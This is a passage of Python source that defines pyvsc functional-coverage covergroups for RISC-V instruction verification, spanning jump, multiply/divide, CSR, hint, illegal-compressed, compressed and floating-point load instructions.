self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_branch_hit = vsc.coverpoint(lambda: self.instr.branch_hit, bins={ "Taken" : vsc.bin(1), "Non-taken": vsc.bin(0) } ) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) '''Jump instructions''' # @vsc.covergroup # class jal_cg(j_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_imm_align = vsc.coverpoint(lambda: instr.imm[1], # bins={ # "Aligned" : vsc.bin(1), # "Not-aligned": vsc.bin(0) # } # ) @vsc.covergroup class jal_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) '''The RISC-V hardware allows any of the 32 integer registers to be given as rd. If register 0 (ZERO) is given as rd then the return address is discarded and we effectively have a goto rather than a function call''' # if self.instr.rd: self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd_align = vsc.coverpoint(lambda: self.instr.rd_value[1], bins={ "Aligned" : vsc.bin(1), "Not-aligned": vsc.bin(0) } ) self.cp_imm_align = vsc.coverpoint(lambda: self.instr.imm[1], bins={ "Aligned" : vsc.bin(1), "Not-aligned": vsc.bin(0) } ) # @vsc.covergroup # class jalr_cg(j_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # '''default bins are not supported in pyvsc. We ignore it here # as coverage values hit in default bin are not taken account while # reporting coverage''' # self.cp_rs1_link = vsc.coverpoint(lambda: instr.rs1, # cp_t=vsc.enum_t( # jalr_riscv_reg_t)) # self.cp_rd_link = vsc.coverpoint(lambda: instr.rd, # cp_t=vsc.enum_t(jalr_riscv_reg_t)) # # left index is excluded in pyvsc bit_t type # self.cp_imm_align = vsc.coverpoint(lambda: instr.imm[2:0], # bins={ # "Zero" : vsc.bin(0), # "One" : vsc.bin(1), # "Two" : vsc.bin(2), # "Three": vsc.bin(3) # } # ) # self.cp_rs1_align = vsc.coverpoint(lambda: instr.rs1_value[2:0], # bins={ # "Zero" : vsc.bin(0), # "One" : vsc.bin(1), # "Two" : vsc.bin(2), # "Three": vsc.bin(3) # } # ) # self.cp_align = vsc.cross([self.cp_imm_align, self.cp_rs1_align]) # self.cp_ras = vsc.cross([self.cp_rs1_link, self.cp_rd_link]) @vsc.covergroup class jalr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) '''The RISC-V hardware allows any of the 32 integer registers to be given as rd. If register 0 (ZERO) is given as rd then the return address is discarded and we effectively have a goto rather than a function call''' # TODO: if self.instr.rd: self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd_align = vsc.coverpoint(lambda: self.instr.rd_value[1], bins={ "Aligned" : vsc.bin(1), "Not-aligned": vsc.bin(0) } ) '''default bins are not supported in pyvsc. We ignore it here as coverage values hit in default bin are not taken account while reporting coverage''' self.cp_rs1_link = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t( jalr_riscv_reg_t)) self.cp_rd_link = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(jalr_riscv_reg_t)) # left index is excluded in pyvsc bit_t type self.cp_imm_align = vsc.coverpoint(lambda: self.instr.imm[2:0], bins={ "Zero" : vsc.bin(0), "One" : vsc.bin(1), "Two" : vsc.bin(2), "Three": vsc.bin(3) } ) self.cp_rs1_align = vsc.coverpoint(lambda: self.instr.rs1_value[2:0], bins={ "Zero" : vsc.bin(0), "One" : vsc.bin(1), "Two" : vsc.bin(2), "Three": vsc.bin(3) } ) self.cp_align = vsc.cross([self.cp_imm_align, self.cp_rs1_align]) self.cp_ras = vsc.cross([self.cp_rs1_link, self.cp_rd_link]) '''MUL instructions''' @vsc.covergroup class mul_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class mulh_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class mulhsu_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class mulhu_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class div_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) self.cp_div_result = vsc.coverpoint(lambda: self.instr.div_result, cp_t=vsc.enum_t(div_result_e)) @vsc.covergroup class divu_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) self.cp_div_result = vsc.coverpoint(lambda: self.instr.div_result, cp_t=vsc.enum_t(div_result_ex_overflow_e)) @vsc.covergroup class rem_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) self.cp_div_result = vsc.coverpoint(lambda: self.instr.div_result, cp_t=vsc.enum_t(div_result_e)) @vsc.covergroup class remu_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) self.cp_div_result = vsc.coverpoint(lambda: self.instr.div_result, cp_t=vsc.enum_t(div_result_ex_overflow_e)) '''CSR instructions''' @vsc.covergroup class csrrw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) @vsc.covergroup class opcode_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_opcode = vsc.coverpoint(lambda: self.instr.binary[6:2], bins={ "a": vsc.bin_array([], [0, 31]) } ) @vsc.covergroup class rv32i_misc_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_misc = vsc.coverpoint(lambda: self.instr.instr, cp_t=vsc.enum_t(rv32i_misc_instrs)) @vsc.covergroup class mepc_alignment_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_align = vsc.coverpoint(lambda: self.instr.rd_value[2:0], bins={ "Zero": vsc.bin(0), "Two" : vsc.bin(2) } ) @vsc.covergroup class hint_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_hint0 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins=dict(addi=vsc.wildcard_bin_array([], "0b0000_1xxx_x000_0001", "0b0000_x1xx_x000_0001", "0b0000_xx1x_x000_0001", "0b0000_xxx1_x000_0001", "0b0000_xxxx_1000_0001"))) self.cp_hint1 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins=dict(li=vsc.wildcard_bin( "0b010x_0000_0xxx_xx01"))) self.cp_hint2 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins=dict(lui=vsc.wildcard_bin( "0b011x_0000_0xxx_xx01"))) self.cp_hint3 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins=dict(srli64=vsc.wildcard_bin( "0b1000_00xx_x000_0001"))) self.cp_hint4 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins=dict(srai64=vsc.wildcard_bin( "0b1000_01xx_x000_0001"))) self.cp_hint5 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins=dict(slli=vsc.wildcard_bin( "0b000x_0000_0xxx_xx10"))) self.cp_hint6 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins=dict(slli64=vsc.wildcard_bin( "0b0000_xxxx_x000_0010"))) self.cp_hint7 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins=dict(mv=vsc.wildcard_bin_array([], "0b1000_0000_01xx_xx10", "0b1000_0000_0x1x_xx10", "0b1000_0000_0xx1_xx10", "0b1000_0000_0xxx_1x10", "0b1000_0000_0xxx_x110"))) self.cp_hint8 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins=dict(add=vsc.wildcard_bin_array([], "0b1001_0000_01xx_xx10", "0b1001_0000_0x1x_xx10", "0b1001_0000_0xx1_xx10", "0b1001_0000_0xxx_1x10", "0b1001_0000_0xxx_x110" ))) @vsc.covergroup class illegal_compressed_instr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_point0 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_illegal=vsc.wildcard_bin( "0b0000_0000_0000_0000"))) self.cp_point1 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_addi4spn=vsc.wildcard_bin_array([], "0b0000_0000_000x_x100", "0b0000_0000_000x_1x00", "0b0000_0000_0001_xx00"))) self.cp_point2 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_addiw=vsc.wildcard_bin( "0b001x_0000_0xxx_xx01"))) self.cp_point3 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_addi16sp=vsc.wildcard_bin( "0b0110_0001_0000_0001"))) self.cp_point4 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_lui=vsc.wildcard_bin_array([], "0b0110_xxxx_1000_0001", "0b0110_xx1x_x000_0001", "0b0110_x1xx_x000_0001", "0b0110_1xxx_x000_0001"))) self.cp_point5 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_reserv_0=vsc.wildcard_bin( "0b1001_11xx_x10x_xx01"))) self.cp_point6 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_reserv_1=vsc.wildcard_bin( "0b1001_11xx_x11x_xx01"))) self.cp_point7 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_jr=vsc.wildcard_bin( "0b1000_0000_0000_0010"))) self.cp_point8 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_lwsp=vsc.wildcard_bin( "0b010x_0000_0xxx_xx10"))) self.cp_point9 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_lqsp=vsc.wildcard_bin( "0b001x_0000_0xxx_xx10"))) self.cp_point10 = vsc.coverpoint(lambda: self.instr.binary[15:0], bins = dict(c_ldsp=vsc.wildcard_bin( "0b011x_0000_0xxx_xx10"))) '''Compressed instructions''' @vsc.covergroup class compressed_opcode_cg(object): # TODO issue with iff parameter def __init__(self): super().__init__() self.instr = None '''self.cp_opcode = vsc.coverpoint(lambda: self.instr.binary[15:0], bins={ "a": vsc.bin_array([], [0, 31]) } )''' @vsc.covergroup class c_lw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(compressed_gpr)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t(branch_hazard_e)) @vsc.covergroup class c_lwsp_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) @vsc.covergroup class c_sw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(compressed_gpr)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class c_swsp_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(compressed_gpr)) @vsc.covergroup class c_addi4spn_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class c_addi_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class c_addi16sp_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class c_li_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class c_lui_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_ex_zero_sp_t)) @vsc.covergroup class c_sub_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class c_add_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class c_mv_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class c_andi_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) @vsc.covergroup class c_xor_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class c_or_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class c_and_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class c_beqz_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) @vsc.covergroup class c_bnez_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) @vsc.covergroup class c_srli_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) @vsc.covergroup class c_srai_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) @vsc.covergroup class c_slli_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) @vsc.covergroup class c_j_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) @vsc.covergroup class c_jal_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) @vsc.covergroup class c_jr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rs1_align = vsc.coverpoint(lambda: self.instr.rs1_value[1:0], bins={ "Zero" : vsc.bin(0), "One" : vsc.bin(1), "Two" : vsc.bin(2), "Three": vsc.bin(3) }) @vsc.covergroup class c_jalr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rs1_align = vsc.coverpoint(lambda: self.instr.rs1_value[1:0], bins={ "Zero" : vsc.bin(0), "One" : vsc.bin(1), "Two" : vsc.bin(2), "Three": vsc.bin(3) }) self.cp_rd_align = vsc.coverpoint(lambda: self.instr.rd_value[1], bins={ "Aligned" : vsc.bin(1), "Not-aligned": vsc.bin(0) }) '''Floating instructions''' @vsc.covergroup class flw_cg(object): def __init__(self, precision, ignore): super().__init__() self.instr = None self.options.ignore = ignore self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t( branch_hazard_e)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) 